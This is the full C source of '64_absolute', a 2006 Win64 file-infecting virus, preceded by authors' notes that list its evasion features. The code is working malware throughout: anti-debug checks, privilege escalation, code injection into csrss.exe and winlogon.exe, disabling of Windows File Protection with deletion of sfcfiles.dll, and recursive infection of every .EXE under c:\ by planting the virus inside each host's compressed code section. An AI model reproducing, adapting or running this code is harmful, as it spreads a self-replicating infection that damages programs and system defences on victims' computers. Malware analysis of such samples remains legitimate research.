|| Author: tanMa || Back to sources || View project folder ||
//******************************************************************************
// THIS IS SOURCE CODE OF VIRUS. IT'S PURPOSE IS TO BE USED IN VIRUS RESEARCH
// ONLY. THE AUTHOR IS NOT RESPONSIBLE FOR ANY MISUSE OF CODE AND INFORMATION
// PROVIDED HEREIN.
//
// 64_absolute by tanMa
// coded in Serbia, November 2006.
// demonyu@yahoo.com
//
//*[Words from SH]**************************************************************
//
// The main reason of this virus is show to the public that C/C++ can be 
// used in this contest and the code, when optimized is not even big.
// From the other side if MS built their OS with the same language, why 
// don't use it for a virus ? For the virus features see author notes.
//
// Your lovely SH.
//
//*[Words from author]**********************************************************
//
// First of all i want thx to SlageHammer for helping me about this virus.
//
// - Very first virus fully coded in C for Win64 (x64)
// - PE32+ memory resident mid-infector (not appender nor prepender ;-) )
// - First usage of PEB under Win64 !
// - Using un-documented apis for compression ! (never used in malwares)
// - Host size not alerted
// - Section headers remain un-touched
// - Anti-Heuristic 'coz of unique method of infection
// - Anti-Debug using PEB & injecting into CSRSS.EXE
// - SFC Disabling (yeah Ratter/29A method still rox)
// - Recursively scans to infect GUI&Console applications (from CSRSS.EXE)
// - crc insted of api names
// - size is 3696bytes (not bad for this kind of virus, can be more optimized
//   but i didn't want to loss C codin' style)
// - not avoid re-infecting, because host size doesn't grow anyway, and it
//   is little bit harder to clean ;-)
//
//******************************************************************************
#include "64_absolute.h"

VX_HEADER Virus_Header = {1, 1, 1};
char cCopyrightMsg[] = "64_absolute by tM & SH,a nice gift for all the AV community , Marry X.mas to all the AV";

HMODULE hKernelInstance= (HMODULE)0x1; //just make it initialized!
KERNEL_APIS Kernel;

DWORD KernelCSUMs[NumOfKernelApis] = { 
 Sleep_CSUM,
 LoadLibraryA_CSUM,
 GetModuleHandleA_CSUM,
 GetCurrentProcess_CSUM,
 OpenProcess_CSUM,
 CloseHandle_CSUM,
 VirtualAlloc_CSUM,
 VirtualFree_CSUM,
 VirtualAllocEx_CSUM,
 VirtualProtect_CSUM,
 WriteProcessMemory_CSUM,
 CreateRemoteThread_CSUM,
 CreateFileA_CSUM,
 CreateFileMappingA_CSUM,
 MapViewOfFile_CSUM,
 UnmapViewOfFile_CSUM,
 GetFileSize_CSUM,
 FindFirstFileA_CSUM,
 FindNextFileA_CSUM,
 FindClose_CSUM,
 OpenMutexA_CSUM,
 CreateMutexA_CSUM,
 ReleaseMutex_CSUM,
 GetLastError_CSUM, //forwarded from kernel32.dll (setup manualy)
 GetProcAddress_CSUM,
 GetCurrentThread_CSUM,
 SetThreadPriority_CSUM,
 GetSystemDirectoryA_CSUM,
 DeleteFileA_CSUM,
 ExitProcess_CSUM
};

NTDLL_APIS NtDll;
DWORD NtDllCSUMs[NumOfNtDllApis] = { RtlGetCompressionWorkSpaceSize_CSUM, RtlCompressBuffer_CSUM, RtlDecompressBuffer_CSUM };

USER_APIS User;
DWORD UserCSUMs[NumOfUserApis] = { MessageBoxA_CSUM, wsprintfA_CSUM };

PS_APIS PSapi;
DWORD PsapiCSUMs[NumOfPSApis] = { EnumProcesses_CSUM, EnumProcessModules_CSUM, GetModuleBaseNameA_CSUM };

ADV_APIS ADVapi;
DWORD ADVapiCSUMs[NumOfADVApis] = { OpenProcessToken_CSUM, LookupPrivilegeValueA_CSUM, AdjustTokenPrivileges_CSUM };

PIMAGE_DOS_HEADER lpVictimDosHeader;
PIMAGE_NT_HEADERS lpVictimPeHeader;

PIMAGE_SECTION_HEADER lpVictimCodeSectionHdr;

HANDLE hVictim;
HANDLE hMapVictim;
LPVOID lpBaseOfVictim;
DWORD dwVictimFileSize;

COMPRESSED_DATA *lpCompressedData;

/****************************************/
size_t mstrlen(const char *lpStr)
{
size_t len;
	for (len = 0; *lpStr != '\0'; lpStr++)
		len++;
return len;
}

/*****************************************
 *
 *
 */
DWORD StrCheckSum(LPCSTR lpStr)
{
DWORD sum = 0;
ULONGLONG i,pos = 0;
ULONGLONG len = mstrlen(lpStr);

	for (i = 0; i < len / 2; i++)
	{
		sum += MAKEWORD(lpStr[pos], lpStr[pos+1]);
		pos += 2;
	}
	
	if (1 == (len % 2))
		sum += MAKEWORD(lpStr[pos], 0);

return (sum + len);
}

/*****************************************
 *
 *
 */
HMODULE GetKernelBase(void)
{
PMYPEB pMYPEB;
PPEB_LDR_DATA pPEBLdrData;
PLDR_MODULE pLdrModule;

	pMYPEB = (MYPEB*)__readgsqword(0x60);

	pPEBLdrData = pMYPEB->LoaderData;

	pLdrModule = (PLDR_MODULE) pPEBLdrData->InLoadOrderModuleList.Flink; //current executable
	pLdrModule = (PLDR_MODULE) pLdrModule->InLoadOrderModuleList.Flink;  //ntdll.dll
	pLdrModule = (PLDR_MODULE) pLdrModule->InLoadOrderModuleList.Flink;  //kernel32.dll

return (HMODULE)pLdrModule->BaseAddress;
}

/*****************************************
 * Insted of Windows GetProcAddress
 * This doesn't work for forwarded externals
 */
FARPROC GetProcAddressCSUM(HMODULE lpDllBase, DWORD dwCSUM)
{
PIMAGE_DOS_HEADER lpDllMZ;
PIMAGE_NT_HEADERS lpDllPE;
PIMAGE_EXPORT_DIRECTORY lpDllExp;

LPDWORD lpAddressOfNames;
 LPWORD lpAddressOfNameOrdinals;
LPDWORD lpAddressOfFunctions;

ULONGLONG index;

	if (NULL != lpDllBase)
	{
		lpDllMZ  = (PIMAGE_DOS_HEADER)lpDllBase;
		lpDllPE  = (PIMAGE_NT_HEADERS)( (ULONGLONG)lpDllMZ + lpDllMZ->e_lfanew );
		lpDllExp = (PIMAGE_EXPORT_DIRECTORY)( (ULONGLONG)lpDllMZ + lpDllPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress );

		lpAddressOfNames        = (LPDWORD)( (ULONGLONG)lpDllMZ + lpDllExp->AddressOfNames );
		lpAddressOfNameOrdinals =  (LPWORD)( (ULONGLONG)lpDllMZ + lpDllExp->AddressOfNameOrdinals );
		lpAddressOfFunctions    = (LPDWORD)( (ULONGLONG)lpDllMZ + lpDllExp->AddressOfFunctions );

		for (index=0; index < lpDllExp->NumberOfNames; index++)
		{
		LPCSTR lpName = (LPCSTR)( (ULONGLONG)lpDllMZ + lpAddressOfNames[index] );
			if( StrCheckSum( lpName ) == dwCSUM )
				return (FARPROC)( (ULONGLONG)lpDllMZ + lpAddressOfFunctions[lpAddressOfNameOrdinals[index]] );
		}
	}

return NULL;
}

/*****************************************
 *
 *
 */
BOOL IsDebuggerActive(void)
{
	return (BOOL)((MYPEB*)__readgsqword(0x60))->bBeingDebugged;
}

/*****************************************
 * "Old" array&loop technique
 *
 */
BOOL RetriveApisFromArray ( HMODULE hModule, DWORD ApiNamesCSUM[], ULONGLONG Addresses[], int numofapis )
{
ULONGLONG i;
	for (i = 0 ; i < numofapis; i++)
	{
		Addresses[i] = (ULONGLONG)GetProcAddressCSUM( hModule, ApiNamesCSUM[i] );
		if( 0 == Addresses[i] )
			return FALSE;
	}

return TRUE;
}

/*****************************************
 *
 *
 */
BOOL RetriveApis(void)
{
	if( !RetriveApisFromArray( hKernelInstance, KernelCSUMs, (PULONGLONG)&Kernel, NumOfKernelApis) )
		return FALSE;

	 //setup manualy
	 if( NULL == (Kernel.aGetLastError = (tGetLastError*)Kernel.aGetProcAddress( hKernelInstance,"GetLastError")) )
		 return FALSE;

	if( !RetriveApisFromArray( Kernel.aGetModuleHandleA("ntdll"), NtDllCSUMs, (PULONGLONG)&NtDll, NumOfNtDllApis) )
		return FALSE;

	if( !RetriveApisFromArray( Kernel.aLoadLibraryA("user32"), UserCSUMs, (PULONGLONG)&User, NumOfUserApis) )
		return FALSE;

	if( !RetriveApisFromArray( Kernel.aLoadLibraryA("psapi"), PsapiCSUMs, (PULONGLONG)&PSapi, NumOfPSApis) )
		return FALSE;

	if( !RetriveApisFromArray( Kernel.aLoadLibraryA("advapi32"), ADVapiCSUMs, (PULONGLONG)&ADVapi, NumOfADVApis) )
		return FALSE;

return TRUE;
}

/*****************************************
 *
 *
 */
BOOL AdjustPrivileges(void)
{
HANDLE hToken;
BOOL ret = FALSE;

	if (ADVapi.aOpenProcessToken(Kernel.aGetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
	LUID luid;
		if (ADVapi.aLookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luid))
		{
		TOKEN_PRIVILEGES tk_priv;

			tk_priv.PrivilegeCount = 1;
			tk_priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			tk_priv.Privileges[0].Luid = luid;

			if (ADVapi.aAdjustTokenPrivileges(hToken,
				FALSE,
				&tk_priv,
				0,
				NULL,
				NULL)) ret = TRUE;
		}
	Kernel.aCloseHandle(hToken);
  	}

return ret;
}

/*****************************************
 *
 *
 */
COMPRESSED_DATA *CompressData(PUCHAR lpInBuffer, DWORD nLen)
{
LPVOID lpWorkSpace;		//interal buffer
ULONG BufferWorkSpaceSize;	//size of interal buffer
ULONG FragmentWorkSpaceSize;
ULONG FinalCompressedSize;	//size after compression
PUCHAR lpOutBuffer;
COMPRESSED_DATA *lpCD;

	//initialize work space buffer
	if (!NT_SUCCESS(NtDll.aRtlGetCompressionWorkSpaceSize(COMPRESS_FORMAT_ENGINE, &BufferWorkSpaceSize, &FragmentWorkSpaceSize)))
		return NULL;

	//allocate work space buffer
	if (NULL == (lpWorkSpace = Kernel.MEMALLOC(BufferWorkSpaceSize)))
		return NULL;

	//allocate output buffer
	if (NULL == (lpOutBuffer = (PUCHAR)Kernel.MEMALLOC(nLen)))
	{
		Kernel.MEMFREE(lpWorkSpace);
		return NULL;
	}

	//compress
	if (!NT_SUCCESS(NtDll.aRtlCompressBuffer(COMPRESS_FORMAT_ENGINE, lpInBuffer, nLen, lpOutBuffer, nLen, 0x1000, &FinalCompressedSize, lpWorkSpace )))
	{
		Kernel.MEMFREE(lpWorkSpace);
		Kernel.MEMFREE(lpOutBuffer);
		return NULL;
	}

	if (NULL == (lpCD = (COMPRESSED_DATA *)Kernel.MEMALLOC(sizeof(COMPRESSED_DATA))))
	{
		Kernel.MEMFREE(lpWorkSpace);
		Kernel.MEMFREE(lpOutBuffer);
		return NULL;
	}

	Kernel.MEMFREE(lpWorkSpace);

	lpCD->lpCompressedBuffer = lpOutBuffer;
	lpCD->dwUncompressedLen = nLen;
	lpCD->dwCompressedLen = FinalCompressedSize;

return lpCD;
}

/*****************************************
 *
 *
 */
void FreeCompressedData(COMPRESSED_DATA *lpCD)
{
	if (NULL != lpCD)
	{
		Kernel.MEMFREE(lpCD->lpCompressedBuffer);
		Kernel.MEMFREE(lpCD);
		lpCD = NULL;
	}

return;
}

/*****************************************
 *
 *
 */
BOOL OpenAndMap(LPCSTR lpFileName)
{
	hVictim = Kernel.aCreateFileA(lpFileName, 
			GENERIC_READ | GENERIC_WRITE, 
			FILE_SHARE_READ, NULL, 
			OPEN_EXISTING, 
			0, 
			NULL);

	if( INVALID_HANDLE_VALUE == hVictim )
		return FALSE;

	dwVictimFileSize = Kernel.aGetFileSize(hVictim, NULL);

	hMapVictim = Kernel.aCreateFileMappingA(hVictim, 
			NULL, 
			PAGE_READWRITE, 
			0, 
			dwVictimFileSize, 
			NULL);

	if (NULL == hMapVictim || INVALID_HANDLE_VALUE == hMapVictim)
	{
		Kernel.aCloseHandle(hVictim);
		return FALSE;
	}

	lpBaseOfVictim = Kernel.aMapViewOfFile(hMapVictim, 
			FILE_MAP_ALL_ACCESS, 
			0,
			0, 
			dwVictimFileSize);

	if( NULL == lpBaseOfVictim )
	{
		Kernel.aCloseHandle(hMapVictim);
		Kernel.aCloseHandle(hVictim);
		return FALSE;
	}

return TRUE;
}

/*****************************************
 *
 *
 */
void CloseAndUnMap(void)
{
	Kernel.aUnmapViewOfFile(lpBaseOfVictim);
	Kernel.aCloseHandle(hMapVictim);
	Kernel.aCloseHandle(hVictim);
}

/*****************************************
 *
 *
 */
BOOL PrepareAndCheck(void)
{
	lpVictimDosHeader = (PIMAGE_DOS_HEADER)lpBaseOfVictim;
	lpVictimPeHeader  = (PIMAGE_NT_HEADERS)((ULONGLONG)lpVictimDosHeader + lpVictimDosHeader->e_lfanew);

	lpVictimCodeSectionHdr = IMAGE_FIRST_SECTION(lpVictimPeHeader);
	if (!(IMAGE_SCN_CNT_CODE & lpVictimCodeSectionHdr->Characteristics))
		return FALSE;

	if (0x20B != lpVictimPeHeader->OptionalHeader.Magic || IMAGE_FILE_MACHINE_AMD64 != lpVictimPeHeader->FileHeader.Machine)
		return FALSE;

	if (!(IMAGE_SUBSYSTEM_WINDOWS_CUI == lpVictimPeHeader->OptionalHeader.Subsystem || IMAGE_SUBSYSTEM_WINDOWS_GUI == lpVictimPeHeader->OptionalHeader.Subsystem))
		return FALSE;

	if (IMAGE_FILE_DLL & lpVictimPeHeader->FileHeader.Characteristics || IMAGE_FILE_SYSTEM & lpVictimPeHeader->FileHeader.Characteristics)
		return FALSE;

	lpCompressedData = CompressData((PUCHAR)((ULONGLONG)lpBaseOfVictim + lpVictimCodeSectionHdr->PointerToRawData), lpVictimCodeSectionHdr->SizeOfRawData);

	if (NULL == lpCompressedData)
		return FALSE;

	//is there space?
	if (lpCompressedData->dwCompressedLen + Virus_Size >= lpVictimCodeSectionHdr->SizeOfRawData)
	{
		FreeCompressedData(lpCompressedData);
		return FALSE;
	}

return TRUE;
}

/*****************************************
 * What this function does?
 *
 */
void InfectPE(LPCSTR lpFileName)
{
	if (OpenAndMap(lpFileName))
	{
		if (PrepareAndCheck())
		{
			Virus_Header.dwCompressedSectionLen  = lpCompressedData->dwCompressedLen;
			Virus_Header.dwUnCompressedSectionLen = lpCompressedData->dwUncompressedLen;
			Virus_Header.dwHostEntryRVA = lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint;

			//copy compressed data
			__movsb((PUCHAR)((ULONGLONG)lpBaseOfVictim + lpVictimCodeSectionHdr->PointerToRawData), lpCompressedData->lpCompressedBuffer,lpCompressedData->dwCompressedLen);	

			//copy virus
			__movsb((PUCHAR)((ULONGLONG)lpBaseOfVictim + lpVictimCodeSectionHdr->PointerToRawData + lpCompressedData->dwCompressedLen), (PUCHAR)Virus_VA, Virus_Size);

			//set entry point
			lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint  = lpVictimCodeSectionHdr->VirtualAddress + lpCompressedData->dwCompressedLen;
			lpVictimPeHeader->OptionalHeader.AddressOfEntryPoint += (ULONGLONG)&PreGeneration2 - Virus_VA;

			FreeCompressedData(lpCompressedData);
		}
	CloseAndUnMap();
	}
return;
}

/*****************************************
 *
 *
 */
HANDLE OpenProcessVX(DWORD dwMainModuleNameCSUM)
{
ULONGLONG bytesneeded;
DWORD ProcessIdList[512];
ULONGLONG ProcessesNum;
ULONGLONG i;

	//enumerate processes (get theirs ID)
	PSapi.aEnumProcesses(ProcessIdList, sizeof(ProcessIdList), &(DWORD)bytesneeded);
	ProcessesNum = bytesneeded / sizeof(DWORD);

	//walk thorough array of ProcessIdList
	for (i = 0; i < ProcessesNum; i++)
	{
		HANDLE hOP = Kernel.aOpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessIdList[i]);

		if (NULL != hOP)
		{
			HMODULE hMod;
			char cModuleName[MAX_PATH];

			PSapi.aEnumProcessModules(hOP, &hMod, sizeof(hMod), &(DWORD)bytesneeded);
			PSapi.aGetModuleBaseNameA(hOP, hMod, cModuleName, MAX_PATH);

			//is it what we looking for?
			if (StrCheckSum(cModuleName) == dwMainModuleNameCSUM)
				return hOP;
		}
		Kernel.aCloseHandle(hOP);
	}

return NULL;
}

/*****************************************
 * Injects virus into remote preocess
 *
 */
HANDLE InsertVirusInToRemoteProcess(DWORD dwProcessMainModuleNameCSUM, ULONGLONG EntryPoint)
{
HANDLE hTargetProcess,hRemoteThread;
LPVOID lpVirusAddrInTargetProcess;

	hTargetProcess = OpenProcessVX(dwProcessMainModuleNameCSUM);
	if (NULL == hTargetProcess)
		return NULL;

	//Allocate memory in target process for virus
	lpVirusAddrInTargetProcess = Kernel.aVirtualAllocEx(hTargetProcess, 
					NULL,
					Virus_Size + Virus_Extra_Space,
					MEM_RESERVE | MEM_COMMIT,
					PAGE_EXECUTE_READWRITE);

	if (NULL == lpVirusAddrInTargetProcess)
	{
		Kernel.aCloseHandle(hTargetProcess);
		return NULL;
	}

	//dump virus body into target process
	if( !Kernel.aWriteProcessMemory(hTargetProcess, lpVirusAddrInTargetProcess, (LPCVOID)Virus_VA, Virus_Size,NULL))
	{
		Kernel.aCloseHandle(hTargetProcess);
		return NULL;
	}

	//Execute virus as remote thread
	hRemoteThread = Kernel.aCreateRemoteThread(hTargetProcess,
				0,
				0,
				(LPTHREAD_START_ROUTINE)((ULONGLONG)lpVirusAddrInTargetProcess + EntryPoint - Virus_VA),
				0,
				0,
				0);

	if (NULL == hRemoteThread)
	{
		Kernel.aCloseHandle(hTargetProcess);
		return NULL;
	}

	Kernel.aCloseHandle(hTargetProcess);

return hRemoteThread;
}

/*****************************************
 * Infect all .EXE files in given directory
 * 
 */
void InfectFiles(LPCSTR lpPath)
{
HANDLE hFindFile;
WIN32_FIND_DATA FindFileData;
char cPathMask[MAX_PATH];
char cFilePath[MAX_PATH];
WCHAR wszFileName[MAX_PATH];

	User.awsprintfA( cPathMask, "%s%s", lpPath, "*.EXE");

	hFindFile = Kernel.aFindFirstFileA( cPathMask , &FindFileData );
	if( INVALID_HANDLE_VALUE != hFindFile )
	{
		do
		{
			User.awsprintfA( cFilePath, "%s%s", lpPath, FindFileData.cFileName );
			InfectPE(cFilePath);
		}
		while( Kernel.aFindNextFileA( hFindFile, &FindFileData ) );
		Kernel.aFindClose(hFindFile);
	}
}

/*****************************************
 * Recursively scan sub-directories and call InfectFiles
 * for each directory it finds
 */
void InfectDirsAndSubDirs(LPCSTR lpPath)
{
HANDLE hFindFile;
WIN32_FIND_DATA FindFileData;
char cPath[MAX_PATH],cPathMask[MAX_PATH];

	User.awsprintfA(cPathMask, "%s%s", lpPath, "*");

	//infect all in "this" directory
	InfectFiles(lpPath);

	hFindFile = Kernel.aFindFirstFileA(cPathMask , &FindFileData);
	if (INVALID_HANDLE_VALUE != hFindFile)
	{
		do
		{
			//ignore if it starts with "." or ".." and include directories
			if ('.' != FindFileData.cFileName[0] && (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
			{

				User.awsprintfA( cPath, "%s%s%s", lpPath, FindFileData.cFileName, "\\");
				InfectDirsAndSubDirs(cPath);
				__movsb(cPath, lpPath, mstrlen(lpPath) );
			}
		}
		while (Kernel.aFindNextFileA(hFindFile, &FindFileData));
		Kernel.aFindClose(hFindFile);       
	}

}

/*****************************************
 * Virus entry point in remote process (winlogon.exe)
 * Control is passed here by "Injector"
 */
void IntruderWINLOGON(void)
{
HMODULE hSFCInstance;
FARPROC aSfcGoodBye;
char sSystemDirPath[MAX_PATH];
char sPathToFile[MAX_PATH];

	if( !RetriveApis() )
		return;

	hSFCInstance = Kernel.aLoadLibraryA("sfc");

	//Find by ordinal (un-documented by Microsoft, documented by Ratter/29A)
	if (NULL == (aSfcGoodBye = Kernel.aGetProcAddress(hSFCInstance, (char *) 2)))
		return;

	//disable SFP - runtime
	aSfcGoodBye();

	//composite path&name to sfcfiles.dll
	Kernel.aGetSystemDirectoryA(sSystemDirPath,MAX_PATH);
	User.awsprintfA(sPathToFile,"%s%s",sSystemDirPath,"\\sfcfiles.dll");

	//SFC GoodBye for ever...
	Kernel.aDeleteFileA(sPathToFile);
}

/*****************************************
 * Virus entry point in remote process (crss.exe)
 * Control is passed here by "Injector"
 */
void IntruderCSRSS(void)
{
HANDLE hMutex;

	//!we do not have to search kernel base address again,
	//because we already found it (by "Injector")
	//just find api addresses
	if( !RetriveApis() )
		return;

	//don't slow down the system...
	Kernel.aSetThreadPriority( Kernel.aGetCurrentThread(), THREAD_PRIORITY_IDLE);

	//disable SFC
	//we dont have to call AdjustPrivileges(), because csrss.exe have needed privileges
	InsertVirusInToRemoteProcess(winlogon_exe_CSUM, (ULONGLONG)&IntruderWINLOGON);
	Kernel.aSleep(2000);

	hMutex = Kernel.aCreateMutexA( NULL, FALSE, cCopyrightMsg);

	InfectDirsAndSubDirs("c:\\");
	//till next restart ZzZzZz....
	Kernel.aSleep(INFINITE);
	Kernel.aCloseHandle(hMutex);
}

/*****************************************
 *
 *
 */
void Generation2(void)
{
PIMAGE_DOS_HEADER lpCurrentDosHeader;
PIMAGE_NT_HEADERS lpCurrentPeHeader;
PIMAGE_SECTION_HEADER lpCurrentCodeSectionHdr;

LPVOID lpTempBuffer;
FARPROC lpHostEntry;
HANDLE hMutex;
DWORD oldProtect,d;

	if (IsDebuggerActive())
		return;

	if (!RetriveApis())
		return;

	lpCurrentDosHeader = (PIMAGE_DOS_HEADER)Kernel.aGetModuleHandleA(NULL);
	lpCurrentPeHeader  = (PIMAGE_NT_HEADERS)((ULONGLONG)lpCurrentDosHeader + lpCurrentDosHeader->e_lfanew);
	lpCurrentCodeSectionHdr  = IMAGE_FIRST_SECTION(lpCurrentPeHeader);

	//copy compressed section into temp buffer
	lpTempBuffer = Kernel.MEMALLOC(Virus_Header.dwCompressedSectionLen);
	__movsb((PUCHAR)lpTempBuffer, (PUCHAR)((ULONGLONG)lpCurrentDosHeader + lpCurrentCodeSectionHdr->VirtualAddress), Virus_Header.dwCompressedSectionLen);

	//unprotect host .code section for writing (in memory)
	if (!Kernel.aVirtualProtect((LPVOID)(((ULONGLONG)lpCurrentDosHeader + lpCurrentCodeSectionHdr->VirtualAddress)), lpCurrentCodeSectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect))
		return;

	//restore host .code section (in memory)
	if (!NT_SUCCESS(NtDll.aRtlDecompressBuffer(COMPRESS_FORMAT_ENGINE, (PUCHAR)((ULONGLONG)lpCurrentDosHeader + lpCurrentCodeSectionHdr->VirtualAddress), Virus_Header.dwUnCompressedSectionLen, lpTempBuffer, Virus_Header.dwCompressedSectionLen, &d)))
		return;

	 //User.aMessageBoxA(NULL, cCopyrightMsg,"Generation 2", MB_OK | MB_ICONEXCLAMATION);

	//if virii is not "resident" then inject into csrss.exe
	hMutex = Kernel.aOpenMutexA( 0, FALSE, cCopyrightMsg);
	if (NULL == hMutex && ERROR_FILE_NOT_FOUND == Kernel.aGetLastError())
	{
		AdjustPrivileges();
		InsertVirusInToRemoteProcess( csrss_exe_CSUM, (ULONGLONG)&IntruderCSRSS);
	}

	//execute host
        lpHostEntry = (FARPROC)((ULONGLONG)lpCurrentDosHeader + Virus_Header.dwHostEntryRVA);
	lpHostEntry();

	//we should not back here if, exit
	Kernel.aExitProcess(0);
}

/*****************************************
 * This function is entry point for infected host
 * Remember: vars on stack, because we r in host .code 
 * section and we r not granted to write in virii global data
 */
void PreGeneration2(void)
{
KERNEL_APIS LocalKernel;
USER_APIS LocalUser;
LPVOID lpNewVirAddr;
FARPROC lpGoTo;
DWORD oldProtect;

	if (!RetriveApisFromArray(GetKernelBase(), KernelCSUMs, (PULONGLONG)&LocalKernel, NumOfKernelApis))
		return;

	//alocate memory and move virus to new address
	lpNewVirAddr = LocalKernel.MEMALLOC(Virus_Size + Virus_Extra_Space);
	__movsb((PUCHAR)lpNewVirAddr, (PUCHAR)Virus_VA, Virus_Size);

	//make just alocated buffer executable
	if (!LocalKernel.aVirtualProtect(lpNewVirAddr, Virus_Size, PAGE_EXECUTE_READWRITE, &oldProtect))
		LocalKernel.aExitProcess(0);

	//pass control
	lpGoTo = (FARPROC)((ULONGLONG)lpNewVirAddr + (ULONGLONG)&Generation2 - Virus_VA);
	lpGoTo();

	//we should not get here
}